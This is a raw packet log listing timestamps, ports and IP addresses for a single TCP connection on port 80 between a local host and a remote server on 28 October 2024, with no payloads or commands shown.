Oct 28, 2024 19:46:22.632955074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.632975101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.632987022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633019924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633035898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633057117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633090973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633115053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633124113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633157969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633172035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633193016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633228064 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633244991 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633280993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633315086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633326054 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633348942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633383989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633394003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633579969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633613110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633627892 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633646965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633680105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633692026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633714914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633759975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633765936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633802891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633846045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633852005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633887053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633920908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633938074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.633954048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633986950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.633995056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.634021997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.634053946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.634072065 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.634087086 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.634119987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.634130955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.634155035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.634187937 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.634198904 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.634223938 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.634273052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.840917110 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.846549988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846582890 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846601009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846640110 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.846745014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846761942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846780062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846796036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.846798897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846827984 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.846890926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846908092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846927881 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846934080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.846945047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846961021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846970081 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.846977949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.846995115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847007036 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847011089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847029924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847038031 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847081900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847259045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847275019 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847294092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847332954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847378969 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847394943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847412109 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847423077 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847429991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847454071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847507000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847522020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847553015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847606897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847624063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847640038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847654104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847656012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847672939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847682953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847691059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847712040 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847903013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847919941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847935915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.847946882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.847990990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848000050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848016977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848031998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848057032 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848192930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848208904 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848225117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848241091 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848242044 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848258018 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848269939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848274946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848295927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848304033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848335981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848539114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848555088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848571062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848586082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848592043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848603964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848618984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848628044 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848635912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848651886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848665953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848669052 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848689079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848783970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848825932 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848860979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848876953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848920107 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.848968029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.848984003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849000931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849015951 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849029064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.849056959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.849245071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849261045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849277973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849294901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849302053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.849312067 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849328041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849339962 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.849344015 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849360943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849369049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.849375963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.849400997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.903233051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.953860044 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.959472895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959528923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959563017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959589005 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.959634066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959669113 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959685087 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.959721088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959767103 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.959772110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959808111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959840059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.959856033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.959955931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960007906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960009098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960042000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960076094 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960103989 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960109949 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960144043 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960164070 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960177898 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960211039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960227966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960268021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960300922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960315943 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960336924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960386038 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960388899 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960438967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960470915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960481882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960505962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960556030 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960558891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960593939 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960639954 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960644960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960678101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960714102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960726976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960747957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960782051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960798979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960817099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960850000 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960867882 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960885048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960939884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.960958004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.960992098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961026907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961040974 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961091042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961123943 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961142063 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961158037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961193085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961205006 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961328983 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961361885 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961374998 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961396933 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961431026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961445093 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961464882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961498022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961512089 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961533070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961576939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961646080 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961678982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961714029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961731911 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961745977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961780071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961797953 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961813927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961848021 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961860895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961882114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961925983 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.961934090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.961967945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962002993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962018013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962038040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962070942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962083101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962105989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962141037 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962157011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962260962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962304115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962310076 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962338924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962372065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962389946 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962404966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962439060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962451935 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962472916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962523937 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962589979 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962652922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962692022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962702990 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962771893 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962805986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962817907 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.962841034 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962876081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.962892056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963042974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963076115 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963100910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963108063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963143110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963156939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963177919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963223934 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963228941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963264942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963298082 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963318110 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963352919 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963387966 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963406086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963419914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963454962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963468075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963793039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.963845015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.963906050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964004993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964040041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964051008 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964073896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964118004 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964123964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964159012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964194059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964209080 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964226961 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964262009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964276075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964333057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964365959 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964384079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964400053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964432955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964451075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964467049 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964499950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964509010 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964534044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964570999 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964586020 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964606047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964642048 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964658976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964674950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964724064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964754105 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964786053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964819908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964829922 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964868069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964901924 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964920044 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.964934111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.964971066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965002060 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965034962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965068102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965080976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965102911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965142012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965152979 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965178013 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965226889 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965281963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965334892 CET	80	49726	166.1.160.211	192.168.2.16
